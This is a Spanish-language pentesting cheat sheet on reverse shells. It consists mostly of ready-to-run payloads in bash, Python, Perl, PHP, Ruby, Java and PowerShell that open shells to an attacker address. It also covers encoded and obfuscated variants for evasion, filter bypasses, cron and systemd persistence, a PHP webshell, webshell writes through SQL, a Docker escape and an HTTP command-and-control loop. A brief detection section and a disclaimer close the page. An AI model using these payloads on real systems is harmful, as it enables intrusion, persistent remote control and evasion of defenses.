Skip to content

Reverse Shell - Conexiones Inversas para Pentesting

Reverse Shell - Conexiones Inversas para Pentesting

Section titled “Reverse Shell - Conexiones Inversas para Pentesting”

Un Reverse Shell es una técnica fundamental en pentesting que permite establecer una conexión desde la máquina comprometida (objetivo) hacia la máquina del atacante. A diferencia de un bind shell, donde el atacante se conecta directamente al objetivo, en un reverse shell es la máquina objetivo la que inicia la conexión hacia el atacante.

  • Bypass de Firewalls: La mayoría de firewalls bloquean conexiones entrantes pero permiten salientes
  • NAT Traversal: Funciona detrás de routers con NAT
  • Stealth: Menos detectable que bind shells
  • Flexibilidad: Múltiples técnicas y lenguajes disponibles
[Atacante] <---- CONEXIÓN INICIADA ---- [Objetivo]
| |
Listener Reverse Shell
(nc -lvp 4444) (bash -i >& /dev/tcp/IP/4444 0>&1)
Terminal window
# Listener básico
nc -lvp 4444
# Con verbose para debugging
nc -lvnp 4444
# Múltiples conexiones
while true; do nc -lvp 4444; done
Terminal window
# OpenBSD netcat (más común en sistemas modernos)
nc -l 4444
# Con bind a interfaz específica
nc -l -s 192.168.1.100 4444
Terminal window
# Listener básico con socat
socat file:`tty`,raw,echo=0 tcp-listen:4444
# Con SSL/TLS
socat openssl-listen:4444,cert=server.pem,verify=0 -
# Con logging
socat file:`tty`,raw,echo=0 tcp-listen:4444,fork > connections.log
Terminal window
msfconsole -q -x "use multi/handler; set payload linux/x64/shell_reverse_tcp; set LHOST 192.168.1.100; set LPORT 4444; exploit"
Terminal window
# Método clásico con /dev/tcp
bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
# Alternativa con exec
exec 5<>/dev/tcp/192.168.1.100/4444; cat <&5 | while read line; do $line 2>&5 >&5; done
# Con timeout para evitar colgarse
timeout 10 bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
# Usando named pipes (FIFO)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.1.100 4444 > /tmp/f
# Python 2
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.100",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
# Python 3
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.100",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
# Versión más robusta con manejo de errores
python3 -c '
import socket,subprocess,os,pty
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.1.100",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/bash")
'
# Perl básico
perl -e 'use Socket;$i="192.168.1.100";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
# Versión Windows
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"192.168.1.100:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
# PHP básico
php -r '$sock=fsockopen("192.168.1.100",4444);exec("/bin/bash -i <&3 >&3 2>&3");'
# Versión más completa
php -r '
$sock=fsockopen("192.168.1.100",4444);
$proc=proc_open("/bin/bash -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
'
# Para sistemas Windows
php -r '$sock=fsockopen("192.168.1.100",4444);$proc=proc_open("cmd.exe", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
# Ruby básico
ruby -rsocket -e'f=TCPSocket.open("192.168.1.100",4444).to_i;exec sprintf("/bin/bash -i <&%d >&%d 2>&%d",f,f,f)'
# Versión Windows
ruby -rsocket -e 'c=TCPSocket.new("192.168.1.100","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
// Compilar: javac ReverseShell.java
// Ejecutar: java ReverseShell
import java.io.*;
import java.net.*;
public class ReverseShell {
public static void main(String[] args) throws Exception {
Socket s = new Socket("192.168.1.100", 4444);
Process p = Runtime.getRuntime().exec("/bin/bash");
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
OutputStream po = p.getOutputStream(), so = s.getOutputStream();
while(!s.isClosed()) {
while(pi.available()>0) so.write(pi.read());
while(pe.available()>0) so.write(pe.read());
while(si.available()>0) po.write(si.read());
so.flush(); po.flush();
Thread.sleep(50);
try { p.exitValue(); break; } catch (Exception e){}
}
p.destroy(); s.close();
}
}
Terminal window
# PowerShell básico
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.100',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
# Versión encoded para evasión
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQA5ADIALgAxADYAOAAuADEALgAxADAAMAAnACwANAA0ADQANAApAA==
Terminal window
# Usando OpenSSL
# En el atacante:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 4444
# En el objetivo:
mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.1.100:4444 > /tmp/s; rm /tmp/s
Terminal window
# Usando dnscat2
# Atacante:
ruby dnscat2.rb --dns "domain=example.com,host=192.168.1.100,port=53"
# Objetivo:
./dnscat --dns "domain=example.com,host=192.168.1.100"
# Python HTTP reverse shell
import requests, subprocess, time, base64
while True:
try:
r = requests.get('http://192.168.1.100:8080/cmd')
if r.status_code == 200:
cmd = base64.b64decode(r.text).decode()
if cmd == 'exit': break
output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
requests.post('http://192.168.1.100:8080/output',
data=base64.b64encode(output).decode())
except: pass
time.sleep(5)
#!/bin/bash
# Script generador de reverse shells
# Uso: ./revshell_generator.sh <IP> <PORT> <TYPE>
IP=$1
PORT=$2
TYPE=$3
if [ $# -ne 3 ]; then
echo "Uso: $0 <IP> <PORT> <bash|python|php|perl|ruby|nc>"
exit 1
fi
echo "[+] Generando reverse shell para $IP:$PORT"
case $TYPE in
"bash")
echo "bash -i >& /dev/tcp/$IP/$PORT 0>&1"
;;
"python")
echo "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$IP\",$PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'"
;;
"php")
echo "php -r '\$sock=fsockopen(\"$IP\",$PORT);exec(\"/bin/bash -i <&3 >&3 2>&3\");'"
;;
"perl")
echo "perl -e 'use Socket;\$i=\"$IP\";\$p=$PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\");};'"
;;
"ruby")
echo "ruby -rsocket -e'f=TCPSocket.open(\"$IP\",$PORT).to_i;exec sprintf(\"/bin/bash -i <&%d >&%d 2>&%d\",f,f,f)'"
;;
"nc")
echo "nc -e /bin/bash $IP $PORT"
echo "# Si nc no tiene -e:"
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $IP $PORT >/tmp/f"
;;
*)
echo "Tipo no soportado. Usa: bash, python, php, perl, ruby, nc"
exit 1
;;
esac
./multi_listener.sh
#!/bin/bash
# Script para múltiples listeners
PORTS=(4444 4445 4446 4447 4448)
IP=$(ip route get 1 | awk '{print $7}' | head -1)
echo "[+] Iniciando múltiples listeners en $IP"
for port in "${PORTS[@]}"; do
echo "[+] Listener en puerto $port"
gnome-terminal -- bash -c "echo 'Listener $port'; nc -lvp $port; exec bash"
done
echo "[+] Payloads generados:"
for port in "${PORTS[@]}"; do
echo "Puerto $port: bash -i >& /dev/tcp/$IP/$port 0>&1"
done
#!/bin/bash
# Script para mejorar shells básicos
upgrade_shell() {
echo "[+] Upgrading shell..."
# Método 1: Python pty
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z para background
echo "[+] Presiona Ctrl+Z ahora"
read -p "Presiona Enter después de Ctrl+Z..."
# En el atacante:
stty raw -echo; fg
# Configurar variables
export SHELL=bash
export TERM=xterm-256color
stty rows 38 columns 116
}
# Método alternativo con script
upgrade_shell_script() {
/usr/bin/script -qc /bin/bash /dev/null
export TERM=xterm
stty raw -echo; fg
}
# Método con expect
upgrade_shell_expect() {
expect -c 'spawn /bin/bash; interact'
}
Terminal window
# Base64 encoding
echo 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1' | base64
# Ejecutar: echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQo=' | base64 -d | bash
# Hex encoding
echo 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1' | xxd -p | tr -d '\n'
# Ejecutar: echo '626173682d69203e26202f6465762f7463702f3139322e3136382e312e3130302f343434342030' | xxd -r -p | bash
# ROT13
echo 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1' | tr 'A-Za-z' 'N-ZA-Mn-za-m'
Terminal window
# Bypass de caracteres filtrados
# Si "/" está filtrado:
${HOME:0:1}bin${HOME:0:1}bash -i
# Si espacios están filtrados:
bash${IFS}-i${IFS}>&${IFS}/dev/tcp/192.168.1.100/4444${IFS}0>&1
# Usando variables de entorno
export RHOST=192.168.1.100
export RPORT=4444
bash -i >& /dev/tcp/$RHOST/$RPORT 0>&1
Terminal window
# Crontab
echo "* * * * * /bin/bash -i >& /dev/tcp/192.168.1.100/4444 0>&1" | crontab -
# Systemd service
cat > /etc/systemd/system/revshell.service << EOF
[Unit]
Description=Reverse Shell Service
[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'
Restart=always
[Install]
WantedBy=multi-user.target
EOF
systemctl enable revshell.service
systemctl start revshell.service
webshell.php
<?php
if(isset($_GET['cmd'])) {
if($_GET['cmd'] == 'revshell') {
$sock = fsockopen("192.168.1.100", 4444);
exec("/bin/bash -i <&3 >&3 2>&3");
} else {
system($_GET['cmd']);
}
}
?>
-- MySQL
SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php';
-- PostgreSQL con reverse shell directo
COPY (SELECT 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1') TO PROGRAM 'bash';
Terminal window
# Docker escape
docker run -v /:/mnt --rm -it alpine chroot /mnt bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
# Kubernetes pod
kubectl run revshell --image=alpine --rm -it -- sh -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'
Terminal window
# Conexiones sospechosas
netstat -antup | grep :4444
ss -tulpn | grep :4444
# Procesos sospechosos
ps aux | grep -E "(bash.*tcp|nc.*4444|python.*socket)"
# Logs de red
tcpdump -i any -n host 192.168.1.100 and port 4444
Terminal window
# Firewall rules
iptables -A OUTPUT -p tcp --dport 4444 -j DROP
iptables -A OUTPUT -p tcp --dport 1234:5000 -j DROP
# Monitoring con auditd
auditctl -a always,exit -F arch=b64 -S socket -k network_connections
  1. Firewall bloqueando: Usar puertos comunes (80, 443, 53)
  2. Shell no interactivo: Usar técnicas de upgrade
  3. Conexión se corta: Implementar keep-alive
  4. Caracteres especiales: Usar encoding/ofuscación
Terminal window
# Verificar conectividad
nc -zv 192.168.1.100 4444
# Test con telnet
telnet 192.168.1.100 4444
# Wireshark para análisis de tráfico
wireshark -i eth0 -f "host 192.168.1.100 and port 4444"

⚠️ IMPORTANTE: Esta documentación es únicamente para fines educativos y de investigación en ciberseguridad. El uso de reverse shells debe realizarse exclusivamente en:

  • Sistemas propios
  • Entornos de laboratorio
  • Pruebas de penetración autorizadas

El uso no autorizado puede constituir un delito. Los autores no se hacen responsables del mal uso de esta información.